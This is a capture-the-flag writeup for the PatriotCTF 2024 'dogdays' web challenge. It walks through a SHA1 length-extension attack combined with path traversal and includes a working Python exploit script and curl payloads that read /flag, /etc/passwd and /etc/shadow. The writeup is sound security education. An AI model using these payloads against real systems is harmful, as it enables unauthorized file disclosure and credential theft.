PatriotCTF 2024 Dogdays Writeup

Published: August 26, 2026

This page contains my writeup for the PatriotCTF 2024 Dogdays challenge.

Challenge notes

dogdays 426 Medium

Woof woof

http://chal.competitivecyber.club:7777

Author: Dylan (elbee3779)

Files

Download the dist.tar.xz challenge archive:

wget --content-disposition --directory-prefix=dogdays \
    "https://pctf.competitivecyber.club/files/293b2c364cb6ddfac14a9cf1cc9ed8b9/dist.tar.xz?token=…"

Unpack the challenge archive to dogdays:

tar xvf dogdays/dist.tar.xz -C dogdays

The challenge archive contains these files:

assets/
assets/BAD.gif
assets/style.css
assets/script.js
index.php
pupper/
pupper/3.png
pupper/1.png
pupper/2.png
pupper/4.png
pupper/5.png
pupper/6.png
pupper/7.png
pupper/8.png
view.php

Here's what the challenge server shows you for index.php:

Screenshot of the landing page at index.php
Screenshot of the landing page at index.php Open in new tab (full image size 95 KiB)

Take a look at view.php:

<!-- view.php -->
<?php
    $pic = $_GET['pic'];
    $hash = $_GET['hash'];
    if(sha1("TEST SECRET1".$pic)==$hash){
        $imgdata = base64_encode(file_get_contents("pupper/".str_replace("\0","",$pic)));
        echo "<!DOCTYPE html>";
        echo "<html><body><h1>Here's your picture:</h1>";
        echo "<img src='data:image/png;base64,".$imgdata."'>";
        echo "</body></html>";
    }else{
        echo "<!DOCTYPE html><html><body>";
        echo "<h1>Invalid hash provided!</h1>";
        echo '<img src="assets/BAD.gif"/>';
        echo "</body></html>";
    }
    // The flag is at /flag, that's all you're getting!
?>

This means that you need to trick view.php into giving you the flag at /flag, perhaps using a local file include vulnerability.

Take a closer look at how view.php reads its puppy pictures:

file_get_contents("pupper/".str_replace("\0","",$pic))

str_replace("\0","",$picremoves all occurences of the 0 byte in the $pic variable. Plug in a few values in a php -a interactive shell to see what str_replace returns:

$pic = "flag";
echo "pupper/".str_replace("\0","",$pic);

This gives you:

pupper/flag

Assume that the pupper directory is located here:

/var/www/html/pupper/

You need to go up four directories like so to get the root:

/var/www/html/pupper/../../../../flag

That's not enough to solve the challenge. The other half is that view.php calculates a $hash by concatenating TEST SECRET1 (not the real secret, obviously) with the $pic value that you pass as GET parameter:

    if(sha1("TEST SECRET1".$pic)==$hash){

Here's a valid URL containing a valid hash, found in index.php when looking at the cute dog pictures:

http://chal.competitivecyber.club:7777/view.php?pic=2.png&hash=6e52c023e823622a86e124824efbce29d78b2e73

This means that view.php derives the hash with the following formula:

6e52c023e823622a86e124824efbce29d78b2e73 = sha1($SECRET."2.png");

Here's how you'd use curl to fetch the image with --url-query flags:

curl "http://chal.competitivecyber.club:7777/view.php" \
    --url-query "+pic=2.png%00" \
    --url-query hash=6e52c023e823622a86e124824efbce29d78b2e73 -v

To solve the challenge, find a value for $SECRET to satisfy this equation:

sha1($SECRET . $pic) == $hash
     ^           ^       ^
    unknown      known   known

You can find $SECRET with john1. Treat the hashes as if they were passwords that you want to crack and let a file name act as salt. Refer to the dynamic hash format docs https://github.com/openwall/john/blob/bleeding-jumbo/doc/DYNAMIC to find out that john calls this a dynamic_24 hash because the format is sha1(unknown.unknown)

Make your own hashes for testing with the above TEST SECRET1 sample secret:

<?php
echo(sha1("TEST SECRET11.png") . "\n");
echo(sha1("TEST SECRET12.png") . "\n");
echo(sha1("TEST SECRET13.png") . "\n");
echo(sha1("TEST SECRET14.png") . "\n");
echo(sha1("TEST SECRET15.png") . "\n");
echo(sha1("TEST SECRET16.png") . "\n");
echo(sha1("TEST SECRET17.png") . "\n");
echo(sha1("TEST SECRET18.png") . "\n");
?>

This outputs a 8 SHA1 hashes. Edit them with a bit of Vim magic to get the following john-compatible contents:

u:$dynamic_24$06eec33e30d11c6f553e3b0836323af3a91ec2df$1.png
u:$dynamic_24$2b1c49af24948a3fd6596b6b115704c24b0ce67b$2.png
u:$dynamic_24$33e69426ac5e88789a86ff3c9d1a65bd890b5284$3.png
u:$dynamic_24$e93ae4b472c99b2f86416375edcfe3f8aba5658f$4.png
u:$dynamic_24$5b4051c5c519ec4ff2be0671c4270ac1d1baea44$5.png
u:$dynamic_24$30398af705656653b94551cfb6e06f4fe84cf473$6.png
u:$dynamic_24$21c0812345a1faf1cde5e61828c5f96db20d1583$7.png
u:$dynamic_24$88372f0e5de3a969ef1c0c087e8203c48c42dc0f$8.png

Store these hashes in dogdays/known_hashes.john.txt and prepare a 1-word wordlist:

echo "TEST SECRET1" > dogdays/known_wordlist.txt

Start cracking with john:

john --wordlist=dogdays/known_wordlist.txt dogdays/known_hashes.john.txt
john --show dogdays/known_hashes.john.txt

John finds the password for these hashes:

u:TEST SECRET1
u:TEST SECRET1
u:TEST SECRET1
u:TEST SECRET1
u:TEST SECRET1
u:TEST SECRET1
u:TEST SECRET1
u:TEST SECRET1

8 password hashes cracked, 0 left

Now try the actual hashes. Extract their values from index.php and put them in the same dynamic_24 john-compatible format:

$dynamic_24$06dadc9db741e1c2a91f266203f01b9224b5facf$1.png
$dynamic_24$6e52c023e823622a86e124824efbce29d78b2e73$2.png
$dynamic_24$a5fb9167c3c648c736069dc994e2a90e056ad5e5$3.png
$dynamic_24$f0f0add5246f94a09e66f599ba63ad74531652ed$4.png
$dynamic_24$4eaf7a5280341437ad821565b17d15bbebfc1b9e$5.png
$dynamic_24$80596d18d360a675b2b772359ecf01e8365c856b$6.png
$dynamic_24$69fdf9dd6e9823fa12cc30432cf8cdd91eaf252f$7.png
$dynamic_24$9aca3bc5ff2454266b998e770a3868963d29f5f3$8.png

Store these hashes in dogdays/hashes.john.txt. Crack the passwords using the rockyou password list from SecLists2

john --wordlist=(
    tar -xvzf SecLists/Passwords/Leaked-Databases/rockyou.txt.tar.gz -O | psub
) dogdays/hashes.john.txt
john --show dogdays/hashes.john.txt

It runs for a while but doesn't find anything.

Length extensions

Investigate whether this may be solvable with a length extension attack.

view.php constructs the hash as follows:

sha1(secret . message)

Use the hash length extension hlexted tool from the stephenbradshaw/hlexted repository extended with my own code:

# exploit.py
# […]
# Above are the contents of hlextend/hlextend.py
def external(name: bytes, hash: str) -> Optional[requests.Response]:
    response = requests.get(
        "http://chal.competitivecyber.club:7777/view.php",
        params={
            "pic": name,
            "hash": hash,
        }
    )
    found = "base64" in response.text
    if found:
        return response
    return None

def try_for_extension(extension: bytes) -> str:
    # known_data = b"1.png"
    known_data = b"2.png"
    # From dogdays/index.php
    # known_hash = "06dadc9db741e1c2a91f266203f01b9224b5facf"
    known_hash = "6e52c023e823622a86e124824efbce29d78b2e73"
    assert external(known_data, known_hash)

    sha = new("sha1")

    # Secret length is 12
    for length in [12]:
        extension = sha.extend(extension, known_data, length, known_hash)
        hash = sha.hexdigest()
        response = external(extension, hash)
        if response:
            print(f"Found: {extension}, secret length is {length}")
            print(f"Expected hash: {hash}")
            break
    else:
        raise ValueError("not found")

    extension_stripped = extension.replace(b"\0", b"")
    print(f'extension stripped: {extension_stripped}')
    print("Server response text")

    match = re.search(r"png;base64,(.+)'", response.text)
    assert match
    return binascii.a2b_base64(match[1]).decode()

def main():
    # Known good:
    # try_for_extension(b"/../1.png")
    # Print /etc/passwd
    # print(try_for_extension(b"/../../../../../etc/passwd"))
    print(try_for_extension(b"/../../../../../flag"))

Length extended and lengthened successfully
Length extended and lengthened successfully Open in new tab (full image size 78 KiB)

Here's where I got confused because I assumed that the flag is flag.txt and not, as it later turns out, just flag.

Remember that view.php strips null bytes from a file name. This means that 2.png\x80\x00\x00…\x00\x88 becomes 2.png\x80\x88. Try the following in your terminal with the php command:

<?php
// Doesn't work because of null byte
echo(file_get_contents("/etc/passwd\0"));
// Works when you're in /home/$USER
echo(file_get_contents("/etc/passwd\x80\x88../../../etc/shadow"));
?>

Combined with my own try_for_extension() function, hlexted finds a byte sequence that correctly extends it and prints:

Found: b'2.png\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x88../../../../flag', secret length is 12

Send the sequence to the server with curl:

echo -ne "2.png\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x88/../../../flag" | \
    curl "http://chal.competitivecyber.club:7777/view.php" \
    --url-query pic@- \
    --url-query hash=0641a9e829cae9d68c5ad825fcedd48da16b1ed6 -v

Automation is important in CTFs and I've made ./exploit.py print out the contents of a few files on the target machine, including the flag at /flag.

Screenshot of ./exploit.py script printing files at /etc/passwd and /flag
Screenshot of ./exploit.py script printing files at /etc/passwd and /flag Open in new tab (full image size 113 KiB)


  1. John the RIpper password cracker www.openwall.com/john 

  2. SecLists "SecLists is […] a collection of multiple types of lists used during security assessments[…]" 

Tags

I would be thrilled to hear from you! Please share your thoughts and ideas with me via email.

Back to Index